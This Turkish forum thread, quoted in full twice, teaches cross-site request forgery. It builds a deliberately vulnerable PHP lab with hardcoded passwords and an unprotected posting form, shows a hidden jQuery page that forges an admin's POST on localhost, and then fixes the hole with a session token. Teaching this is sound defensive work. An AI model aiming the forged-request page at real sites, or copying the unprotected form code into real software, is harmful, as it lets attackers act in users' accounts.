eline sağlık.
Follow along with the video below to see how to install our site as a web app on your home screen.
Not: This feature may not be available in some browsers.
tamamdır hocam videolandırıyorum hemen kime ulaşmalıyım bu iş için ?Videolu anlatırsanız arkadaşlar YouTube kanalına yükler konunuza eklerler
postlar alakasız yerlere gitmeye başladı modlar gelmeden koyu kapatsak iyi olacak
![]()
teşekkürlerEline sağlık.Bloğa ekledim.
Video ve ilginiz için teşekkür ederimVideo Anlatım'a mutlaka bakalım.
Ben teşekkür ediyorum, gayet basarili bir calisma olduVideo ve ilginiz için teşekkür ederim![]()
çok iyi anlatımMerhaba Dostlar
Bu gün sizlere csrf açığının nasıl oluştuğunu anlatmaya çalışacağım.
Açığı temel anlamda tanıtacak olursak aynı web tarayıcı üstünde açılan yeni bir sayfanın siz farketmeden sizin adınıza istenilen sitede işlem yapabilmesi olarak tanımlayabiliriz.
Örneğin tarayıcıda banka hesabınız açıkken sizin tıkladığınız site istenilen yerlere istek atarak sizin hesabınızdan başka bir hesaba para aktarımı yapabilir.
Veya facebook gibi bir sitede sizin üyeliğiniz açıkken şifrenizi değiştirebilir veya adınıza paylaşım veya mesaj atabilir.
Bu açığın oluşma sebebi siteler sizin bilgilerinizi sizin tarayıcınızda tutar. Ve sizin tarayıcınızdan sizi tanır ve sizin hesabınıza bağlantı yapmasını sağlar.
Böylelikle sizin tarayıcınızdan yapılan istek sizin hesabınız üstünden yapılmış olur ve hack işlemi gerçekleşir.
Tabi ki büyük siteler bu açıkları fixledi ancak çoğu sitede hala mevcut.
Özellikle bir framework üstüne yazılmamış sitelerde.
Şimdi ben buna ithafen bir basit web sitesi yazıp açığı nasıl sömürdüğümüzü anlatacağım.
Site dosyalarını en aşağıda paylaşacağım.
HTML:<!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title>Giriş</title> </head> <body> <form action="login.php" method="post"> <input type="text" name="kadi"><br> <input type="password" name="sifre" ><br> <button type="submit" name="submit">Giriş</button> </form> </body> </html>
Gördüğünüz gibi burada giriş işlemi yapılıyor ve login.php ye istek atıyor
PHP:<?php if (isset($_POST['submit'])) { $kadi=htmlspecialchars($_POST['kadi']); $sifre=htmlspecialchars($_POST['sifre']); if ($kadi=='admin' and $sifre=='123') { session_start(); $_SESSION['kadi']=$kadi; $_SESSION['login']='true'; header('location:anasayfa.php'); exit; }elseif ($kadi=='hacker' and $sifre=='123') { session_start(); $_SESSION['kadi']=$kadi; $_SESSION['login']='true'; header('location:anasayfa.php'); exit; }else{ echo 'Kullanıcı adı veya şifre yanlış'; exit; } } ?>
Burada anlaşılır olması için 2 adet kullanıcı ekledim ve bu kullanıcıların birisi admin ve anasayfa.php de paylaşım yapabiliyor. Diğeri hacker adlı kullanıcı bu sayfada paylaşım yapamıyor.
anasayfa.php yide bir şifre değiştirme sayfası veya facebook hesabından anasayfaya paylaşım yapılan yer olarak düşünebilirsiniz.
şimdi anasayfa.php
PHP:<?php session_start(); if ($_SESSION['login']!='true') { echo 'giriş yapın'; session_destroy(); exit; } include('vt.php'); ?> <!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title>Ekran</title> </head> <body> <form action="anasayfa.php" method="post"> <input type="text" name="yazi"> <button type="submit" name="submit">Paylaş</button> </form> <?php if (isset($_POST['submit'])) { if ($_SESSION['kadi']!='admin') { echo 'Paylaşma Hakkınız Yok'; exit; } $yazi=htmlspecialchars($_POST['yazi']); $SqlSorgusu = "INSERT INTO yazi (yazi) VALUES (:yazi)"; $st = $db->prepare($SqlSorgusu); $st->bindParam(':yazi', $yazi,PDO::PARAM_STR); $st->execute(); } include('vt.php'); $db = $db->prepare("SELECT * FROM yazi order by id desc"); $db->execute(); // Verileri çekmek için fetchAll() yöntemini kullanın $oku = $db->fetchAll(PDO::FETCH_ASSOC); //verilerin hepsi eğer birini alacaksak sadece fetch olacaktı foreach ($oku as $row) { extract($row); echo $yazi.'<br>'; } ?> </body> </html>
En önemli nokta bu sayfa.
Bu sayfada senaryomuz şöyle burası kullanıcıların anasayfada paylaşım yeri olsun.
hacker ise burada paylaşım yapamıyor. ben bunu düzgün kodlamadım ama anlaşılır olması için adminden başkasına paylaştırtmadım.
Bu sayfada form'da action da anasayfa.php ye post isteği atıyor.
ve post isteğinde 2 adet veri gönderiyor. bunlar
yazi
submit
biz bu ekranı hacker alanından görebiliyoruz çünkü facebook ta paylaşım atılan ekran herkesin aynı veya şifre değiştirme ekranı.
şimdi biz burada verilerin nereye gittiğini ve hangi postların istek atıldığını biliyorsak bir js kodunun gömülü olduğu bir web sayfasının linkini kurbana atarsak bu sayfa çalıştırıldığında bu alandan admin adına istek atabiliriz.
JavaScript:<script src="https://code.jquery.com/jquery-3.6.4.js"></script> <script type="text/javascript"> $.post('http://localhost/csrf/anasayfa.php', { 'yazi': 'hacker yazisi', 'submit':'' }) </script>
burada $.post('http://localhost/csrf/anasayfa.php' alanına formda istek gönderilen anasayfa.php olduğu için onu ekledik.
Başınada http://localhost/csrf/ i site adı olarak ekledik.
'yazi': 'hacker yazisi'
buradada input name olarak yazi verildiği için başa yazi yazıp yanındaki yere ise paylaşılmasını istediğimiz veriyi yazdık.
'submit':''
ve butonun name değeri submit olduğu için onuda post isteğine ekledik.
anlaşılır olması için bu csrf sayfasının tamamını buraya ekliyorum siz buna resim yazı vs ekleyebilirsiniz.
HTML:<!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title>csrf</title> </head> <body> deneme <script src="https://code.jquery.com/jquery-3.6.4.js"></script> <script type="text/javascript"> $.post('http://localhost/csrf/anasayfa.php', { 'yazi': 'hacker yazisi', 'submit':'' }) </script> </body> </html>
Burada sadece ekranda deneme yazacak ancak arkaplanda istenilen sayfaya istek atacak.
artık deneme vakti
kullanıcı adı admin şifre 123
herhangi bir post atıyorum
ekrana düşüyor
zararlı kodlarımın olduğu sayfayı çalıştırıyorum
ekrana zararlı koddan basılan veri düşüyor
Artık fixleme işlemine geçebiliriz.
Yapmamız gereken şey login işlemi olduktan sonra bir token oluşturup bunu $_session['csrf_token'] değişkeninde tutmak.
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
sonrasında bu veriyi anasayfadaki formda gözükmeyen input olarak vermek
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
sonrasında ise anasayfa.php de formdan gelen verilerin işlendiği kısıma
formdan gelen token ile kendi tokenımızın eşit olup olmadığını kontrol etmek
$csrf_token=htmlspecialchars($_POST['csrf_token']);
if ($_SESSION['csrf_token']!=$csrf_token) {
echo 'Hackleyemedin yiğidim';
exit;
}
İşlemler bu kadar.
Csrf açıklı site dosyaları için tıklayın
Virüs Total
Açığın fixlenmiş halindeki dosyalar için tıklayın
Virüs Total
İyi Forumlar
Video Anlatım
Elinize emeğinize sağlıkMerhaba Dostlar
Bu gün sizlere csrf açığının nasıl oluştuğunu anlatmaya çalışacağım.
Açığı temel anlamda tanıtacak olursak aynı web tarayıcı üstünde açılan yeni bir sayfanın siz farketmeden sizin adınıza istenilen sitede işlem yapabilmesi olarak tanımlayabiliriz.
Örneğin tarayıcıda banka hesabınız açıkken sizin tıkladığınız site istenilen yerlere istek atarak sizin hesabınızdan başka bir hesaba para aktarımı yapabilir.
Veya facebook gibi bir sitede sizin üyeliğiniz açıkken şifrenizi değiştirebilir veya adınıza paylaşım veya mesaj atabilir.
Bu açığın oluşma sebebi siteler sizin bilgilerinizi sizin tarayıcınızda tutar. Ve sizin tarayıcınızdan sizi tanır ve sizin hesabınıza bağlantı yapmasını sağlar.
Böylelikle sizin tarayıcınızdan yapılan istek sizin hesabınız üstünden yapılmış olur ve hack işlemi gerçekleşir.
Tabi ki büyük siteler bu açıkları fixledi ancak çoğu sitede hala mevcut.
Özellikle bir framework üstüne yazılmamış sitelerde.
Şimdi ben buna ithafen bir basit web sitesi yazıp açığı nasıl sömürdüğümüzü anlatacağım.
Site dosyalarını en aşağıda paylaşacağım.
HTML:<!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title>Giriş</title> </head> <body> <form action="login.php" method="post"> <input type="text" name="kadi"><br> <input type="password" name="sifre" ><br> <button type="submit" name="submit">Giriş</button> </form> </body> </html>
Gördüğünüz gibi burada giriş işlemi yapılıyor ve login.php ye istek atıyor
PHP:<?php if (isset($_POST['submit'])) { $kadi=htmlspecialchars($_POST['kadi']); $sifre=htmlspecialchars($_POST['sifre']); if ($kadi=='admin' and $sifre=='123') { session_start(); $_SESSION['kadi']=$kadi; $_SESSION['login']='true'; header('location:anasayfa.php'); exit; }elseif ($kadi=='hacker' and $sifre=='123') { session_start(); $_SESSION['kadi']=$kadi; $_SESSION['login']='true'; header('location:anasayfa.php'); exit; }else{ echo 'Kullanıcı adı veya şifre yanlış'; exit; } } ?>
Burada anlaşılır olması için 2 adet kullanıcı ekledim ve bu kullanıcıların birisi admin ve anasayfa.php de paylaşım yapabiliyor. Diğeri hacker adlı kullanıcı bu sayfada paylaşım yapamıyor.
anasayfa.php yide bir şifre değiştirme sayfası veya facebook hesabından anasayfaya paylaşım yapılan yer olarak düşünebilirsiniz.
şimdi anasayfa.php
PHP:<?php session_start(); if ($_SESSION['login']!='true') { echo 'giriş yapın'; session_destroy(); exit; } include('vt.php'); ?> <!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title>Ekran</title> </head> <body> <form action="anasayfa.php" method="post"> <input type="text" name="yazi"> <button type="submit" name="submit">Paylaş</button> </form> <?php if (isset($_POST['submit'])) { if ($_SESSION['kadi']!='admin') { echo 'Paylaşma Hakkınız Yok'; exit; } $yazi=htmlspecialchars($_POST['yazi']); $SqlSorgusu = "INSERT INTO yazi (yazi) VALUES (:yazi)"; $st = $db->prepare($SqlSorgusu); $st->bindParam(':yazi', $yazi,PDO::PARAM_STR); $st->execute(); } include('vt.php'); $db = $db->prepare("SELECT * FROM yazi order by id desc"); $db->execute(); // Verileri çekmek için fetchAll() yöntemini kullanın $oku = $db->fetchAll(PDO::FETCH_ASSOC); //verilerin hepsi eğer birini alacaksak sadece fetch olacaktı foreach ($oku as $row) { extract($row); echo $yazi.'<br>'; } ?> </body> </html>
En önemli nokta bu sayfa.
Bu sayfada senaryomuz şöyle burası kullanıcıların anasayfada paylaşım yeri olsun.
hacker ise burada paylaşım yapamıyor. ben bunu düzgün kodlamadım ama anlaşılır olması için adminden başkasına paylaştırtmadım.
Bu sayfada form'da action da anasayfa.php ye post isteği atıyor.
ve post isteğinde 2 adet veri gönderiyor. bunlar
yazi
submit
biz bu ekranı hacker alanından görebiliyoruz çünkü facebook ta paylaşım atılan ekran herkesin aynı veya şifre değiştirme ekranı.
şimdi biz burada verilerin nereye gittiğini ve hangi postların istek atıldığını biliyorsak bir js kodunun gömülü olduğu bir web sayfasının linkini kurbana atarsak bu sayfa çalıştırıldığında bu alandan admin adına istek atabiliriz.
JavaScript:<script src="https://code.jquery.com/jquery-3.6.4.js"></script> <script type="text/javascript"> $.post('http://localhost/csrf/anasayfa.php', { 'yazi': 'hacker yazisi', 'submit':'' }) </script>
burada $.post('http://localhost/csrf/anasayfa.php' alanına formda istek gönderilen anasayfa.php olduğu için onu ekledik.
Başınada http://localhost/csrf/ i site adı olarak ekledik.
'yazi': 'hacker yazisi'
buradada input name olarak yazi verildiği için başa yazi yazıp yanındaki yere ise paylaşılmasını istediğimiz veriyi yazdık.
'submit':''
ve butonun name değeri submit olduğu için onuda post isteğine ekledik.
anlaşılır olması için bu csrf sayfasının tamamını buraya ekliyorum siz buna resim yazı vs ekleyebilirsiniz.
HTML:<!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title>csrf</title> </head> <body> deneme <script src="https://code.jquery.com/jquery-3.6.4.js"></script> <script type="text/javascript"> $.post('http://localhost/csrf/anasayfa.php', { 'yazi': 'hacker yazisi', 'submit':'' }) </script> </body> </html>
Burada sadece ekranda deneme yazacak ancak arkaplanda istenilen sayfaya istek atacak.
artık deneme vakti
kullanıcı adı admin şifre 123
herhangi bir post atıyorum
ekrana düşüyor
zararlı kodlarımın olduğu sayfayı çalıştırıyorum
ekrana zararlı koddan basılan veri düşüyor
Artık fixleme işlemine geçebiliriz.
Yapmamız gereken şey login işlemi olduktan sonra bir token oluşturup bunu $_session['csrf_token'] değişkeninde tutmak.
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
sonrasında bu veriyi anasayfadaki formda gözükmeyen input olarak vermek
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
sonrasında ise anasayfa.php de formdan gelen verilerin işlendiği kısıma
formdan gelen token ile kendi tokenımızın eşit olup olmadığını kontrol etmek
$csrf_token=htmlspecialchars($_POST['csrf_token']);
if ($_SESSION['csrf_token']!=$csrf_token) {
echo 'Hackleyemedin yiğidim';
exit;
}
İşlemler bu kadar.
Csrf açıklı site dosyaları için tıklayın
Virüs Total
Açığın fixlenmiş halindeki dosyalar için tıklayın
Virüs Total
İyi Forumlar
Video Anlatım